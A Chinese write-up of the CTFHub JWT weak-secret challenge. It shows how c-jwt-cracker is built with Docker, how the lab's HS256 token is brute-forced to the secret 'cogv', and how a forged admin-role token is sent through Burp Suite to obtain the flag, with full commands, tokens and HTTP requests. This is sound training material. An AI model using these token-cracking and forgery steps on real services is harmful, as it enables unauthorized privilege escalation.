目录
本文详细讲解CTFHub的Web进阶中Json Web Token的弱密钥关卡的原理以及利用JWT-cracker工具破解弱密钥JWT并获取flag的完整流程。首先通过Docker安装c-jwt-cracker工具,然后使用该工具暴力破解靶场中的JWT令牌,成功获取密钥"cogv"。接着修改JWT中role字段为admin,生成新令牌后在BurpSuite中替换原token发送请求,最终获取到flag。
一、JWT-cracker工具
1、JWT-cracker简介
c-jwt-cracker 是一款由 Brendan Rius 开发、基于 C 语言编写的多线程 JWT 暴力破解工具,核心功能是通过暴力枚举的方式破解 JWT(JSON Web Token)的密钥(secret key)。若破解成功,攻击者可利用获取的密钥伪造合法 JWT,仅用于安全测试场景,禁止用于未授权的攻击行为。
(1)工具文件结构
项目仓库包含核心代码文件、构建配置文件和说明文档,具体如下:
| 文件名 | 作用说明 |
|---|---|
main.c | 工具主程序,实现多线程暴力破解逻辑、HMAC 算法调用、参数解析等核心功能。 |
base64.c/base64.h | Base64 编解码模块,基于 Apple Base64 实现修改而来,用于处理 JWT 的 Base64URL 编码内容。 |
Makefile | 编译配置文件,支持 Linux、macOS 下的手动编译,包含多线程编译参数。 |
Dockerfile/entrypoint.sh | Docker 构建配置文件,用于生成容器镜像,简化环境依赖配置。 |
LICENSE | 工具许可证(未明确指定许可证类型,需以仓库最新内容为准)。 |
README.md | 工具使用说明,包含编译、运行、参数配置等示例 |
(2)基本用法
① 构建 Docker 镜像
在项目根目录执行命令,生成名为 jwtcrack 的镜像:
docker build . -t jwtcrack
② 运行容器破解 JWT
通过 docker run 命令启动容器,传入待破解的 JWT 令牌(示例中 JWT 对应的密钥为 Sn1f):
docker run -it --rm jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
2、安装密钥破解工具
(1)下载工具
https://github.com/brendan-rius/c-jwt-cracker

(2)docker安装
kali中在解压后的文件夹c-jwt-cracker-master中执行sudo docker build . -t jwtcrack命令。

如下所示搭建docker环境成功。
┌──(kali㉿kali)-[~/Desktop/c-jwt-cracker-master]
└─$ sudo su
[sudo] password for kali:
┌──(root㉿kali)-[/home/kali/Desktop/c-jwt-cracker-master]
└─# docker build . -t jwtcrack
Sending build context to Docker daemon 35.33kB
Step 1/12 : FROM n0madic/alpine-gcc:9.2.0
9.2.0: Pulling from n0madic/alpine-gcc
9d48c3bd43c5: Pull complete
324a61f7964e: Pull complete
53d4f541c511: Pull complete
d9ddf48101d1: Pull complete
8b3bf3927a50: Pull complete
Digest: sha256:7edb2b1052f903f4d1b6fd751a846c385547d63f2ed6668067d94856377b5707
Status: Downloaded newer image for n0madic/alpine-gcc:9.2.0
---> 9d7f59f1263e
Step 2/12 : RUN apk add --quiet --no-cache libressl-dev
---> Running in 0c3b70de80e8
Removing intermediate container 0c3b70de80e8
---> c5f962d7e975
Step 3/12 : COPY ./*.h /opt/src/
---> 3b1aedd6ce39
Step 4/12 : COPY ./*.c /opt/src/
---> 481d9f368590
Step 5/12 : COPY Makefile /opt/src/
---> 7dde973ab163
Step 6/12 : COPY entrypoint.sh /
---> d2baf60d319d
Step 7/12 : WORKDIR /opt/src
---> Running in d476b618354d
Removing intermediate container d476b618354d
---> fcaec3b47e0a
Step 8/12 : RUN make
---> Running in 487df9a2cdf4
gcc -I /usr/include/openssl -g -std=gnu99 -O3 -c -o main.o main.c
gcc -I /usr/include/openssl -g -std=gnu99 -O3 -c -o base64.o base64.c
gcc -o jwtcrack main.o base64.o -lssl -lcrypto -lpthread
Removing intermediate container 487df9a2cdf4
---> c880f54dc037
Step 9/12 : RUN make OPENSSL=/usr/local/opt/openssl/include OPENSSL_LIB=-L/usr/local/opt/openssl/lib
---> Running in 9ef15188f8aa
make: Nothing to be done for 'all'.
Removing intermediate container 9ef15188f8aa
---> 7feeb3820bf5
Step 10/12 : RUN ["chmod", "+x", "/entrypoint.sh"]
---> Running in 3cbc4daaf58e
Removing intermediate container 3cbc4daaf58e
---> 9ecb2ce0f68d
Step 11/12 : RUN ["chmod", "+x", "/opt/src/jwtcrack"]
---> Running in 9ea15914e35c
Removing intermediate container 9ea15914e35c
---> e9256db98286
Step 12/12 : ENTRYPOINT ["/entrypoint.sh"]
---> Running in 1119cb036a16
Removing intermediate container 1119cb036a16
---> c93dbc446452
Successfully built c93dbc446452
Successfully tagged jwtcrack:latest
二、渗透实战
1、打开靶场
打开靶场,页面提示“如果JWT采用对称加密算法,并且密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥。尝试获取flag”,具体如下所示。

2、登录
点开靶场,这是一个登陆页面,输入用户名admin,密码ljn,点击登录,如下所示
http://challenge-f4f36d684da8d1f0.sandbox.ctfhub.com:10800/login.php

登录显示“Hello admin(guest), only admin can get flag.”

3、bp抓包获取token
(1)login报文
token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJsam4iLCJyb2xlIjoiZ3Vlc3QifQ.VErrBZ3s9ekLEQBCV_1fNnOP_Uxs91_6pW16XJ3m-GA
其中第一部分解密后为:{"typ":"JWT","alg":"HS256"}

(2)index报文
其中第二部分解密后为:{"typ":"JWT","alg":"HS256"}
{"username":"admin","password":"ljn","role":"guest"}

将报文发送到repeater,如下所示。

发送到repeater后效果如下所示,后续我们通过修改token值实现渗透。

(3)jwt解密网站解析
使用jwt解密网站解析,完整如下所示。
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJsam4iLCJyb2xlIjoiZ3Vlc3QifQ.VErrBZ3s9ekLEQBCV_1fNnOP_Uxs91_6pW16XJ3m-GA

4、暴力破解jwtcrack
docker run -it --rm jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJsam4iLCJyb2xlIjoiZ3Vlc3QifQ.VErrBZ3s9ekLEQBCV_1fNnOP_Uxs91_6pW16XJ3m-GA
docker run -it --rm jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJsam4iLCJyb2xlIjoiZ3Vlc3QifQ.VErrBZ3s9ekLEQBCV_1fNnOP_Uxs91_6pW16XJ3m-GA
破解结果为 Secret is "cogv"

5、计算新token
第一部分:{"typ":"JWT","alg":"HS256"}不变
第二部分:{"username":"admin","password":"ljn","role":"guest"}中的role改为admin,修改后如下所示。
{"username":"admin","password":"ljn","role":"admin"}
密钥:cogv
重新计算token值:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJsam4iLCJyb2xlIjoiYWRtaW4ifQ.8p5mep2jfy5RV9x2d5RDYmY6_lUKB-p0S1myx4tQ4-c

6、bp修改报文发包获取flag
修改token后发送报文,如下所示获取到flag值ctfhub{1a15015d8c3cda71bcc30309}

完整的报文请求和响应如下所示。
| 请求: GET /index.php HTTP/1.1 Host: challenge-f4f36d684da8d1f0.sandbox.ctfhub.com:10800 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://challenge-f4f36d684da8d1f0.sandbox.ctfhub.com:10800/login.php Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJsam4iLCJyb2xlIjoiYWRtaW4ifQ.8p5mep2jfy5RV9x2d5RDYmY6_lUKB-p0S1myx4tQ4-c DNT: 1 X-Forwarded-For: 127.0.0.1 Connection: close Upgrade-Insecure-Requests: 1 响应报文: HTTP/1.1 200 OK Server: openresty/1.21.4.2 Date: Thu, 30 Oct 2025 13:10:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 80 Connection: close X-Powered-By: PHP/7.4.5 Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Methods: * Hello admin(admin), only admin can get flag.<br>ctfhub{1a15015d8c3cda71bcc30309} |
787

被折叠的 条评论
为什么被折叠?



